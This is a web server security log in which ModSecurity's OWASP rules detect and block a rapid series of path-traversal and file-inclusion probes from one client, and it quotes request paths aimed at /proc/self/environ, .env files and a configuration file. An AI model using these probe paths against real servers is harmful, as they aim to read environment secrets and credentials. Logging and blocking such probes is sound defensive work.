[Mon Oct 26 07:29:12.663971 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:apis. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:apis: ../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iE5VL05DK7ky7IO-kQAAAA4"]
[Mon Oct 26 07:29:12.665325 2026] [core:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] AH10244: invalid URI path (/static/../../../a/../../../../proc/self/environ)
[Mon Oct 26 07:29:12.686667 2026] [core:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37750] AH10244: invalid URI path (/appearance/../../.env)
[Mon Oct 26 07:29:12.688672 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iDDRnKsAIAUOCsIeJAAAAB0"]
[Mon Oct 26 07:29:12.688986 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iDDRnKsAIAUOCsIeJAAAAB0"]
[Mon Oct 26 07:29:12.689223 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iDDRnKsAIAUOCsIeJAAAAB0"]
[Mon Oct 26 07:29:12.700127 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at85iJ_dbg3ptBnwDgQ4LwAAAAM"]
[Mon Oct 26 07:29:12.700175 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at85iJ_dbg3ptBnwDgQ4LwAAAAM"]
[Mon Oct 26 07:29:12.732669 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at85iFZCbqkv80FsVwhscgAAABk"]
[Mon Oct 26 07:29:12.732745 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at85iFZCbqkv80FsVwhscgAAABk"]
[Mon Oct 26 07:29:12.732889 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at85iFZCbqkv80FsVwhscgAAABk"]
[Mon Oct 26 07:29:12.733413 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at85iFZCbqkv80FsVwhscgAAABk"]
[Mon Oct 26 07:29:12.735751 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iOjICF14JuwJz6aCNQAAAA8"]
[Mon Oct 26 07:29:12.735951 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iOjICF14JuwJz6aCNQAAAA8"]
[Mon Oct 26 07:29:12.736227 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iOjICF14JuwJz6aCNQAAAA8"]
[Mon Oct 26 07:29:12.739420 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at85iJ_dbg3ptBnwDgQ4LwAAAAM"]
[Mon Oct 26 07:29:12.739660 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at85iJ_dbg3ptBnwDgQ4LwAAAAM"]
[Mon Oct 26 07:29:12.749963 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at85iGr0p85NPswPKocFQAAAACA"]
[Mon Oct 26 07:29:12.750519 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at85iGr0p85NPswPKocFQAAAACA"]
[Mon Oct 26 07:29:12.750874 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at85iGr0p85NPswPKocFQAAAACA"]
[Mon Oct 26 07:29:12.753541 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at85iDUxizeD7p0l-jkfyAAAAB8"]
[Mon Oct 26 07:29:12.754090 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at85iDUxizeD7p0l-jkfyAAAAB8"]
[Mon Oct 26 07:29:12.754315 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at85iDUxizeD7p0l-jkfyAAAAB8"]
[Mon Oct 26 07:29:12.755345 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iPAWpsgTeulbP5bFGgAAABI"]
[Mon Oct 26 07:29:12.755547 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iPAWpsgTeulbP5bFGgAAABI"]
[Mon Oct 26 07:29:12.755842 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at85iPAWpsgTeulbP5bFGgAAABI"]
[Mon Oct 26 07:29:12.756829 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iBatj5i5ZMjJaPkrTwAAABY"]
[Mon Oct 26 07:29:12.756912 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iBatj5i5ZMjJaPkrTwAAABY"]
[Mon Oct 26 07:29:12.757049 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iBatj5i5ZMjJaPkrTwAAABY"]
[Mon Oct 26 07:29:12.757303 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iBatj5i5ZMjJaPkrTwAAABY"]
[Mon Oct 26 07:29:12.802328 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iD2qIoRfAL3Hx22jKQAAAAI"]
[Mon Oct 26 07:29:12.802666 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iD2qIoRfAL3Hx22jKQAAAAI"]
[Mon Oct 26 07:29:12.803305 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iE5VL05DK7ky7IO-kQAAAA4"]
[Mon Oct 26 07:29:12.803554 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=25,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at85iE5VL05DK7ky7IO-kQAAAA4"]
[Mon Oct 26 07:29:12.991663 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iE5VL05DK7ky7IO-kgAAAA4"]
[Mon Oct 26 07:29:12.991731 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iE5VL05DK7ky7IO-kgAAAA4"]
[Mon Oct 26 07:29:12.991761 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iE5VL05DK7ky7IO-kgAAAA4"]
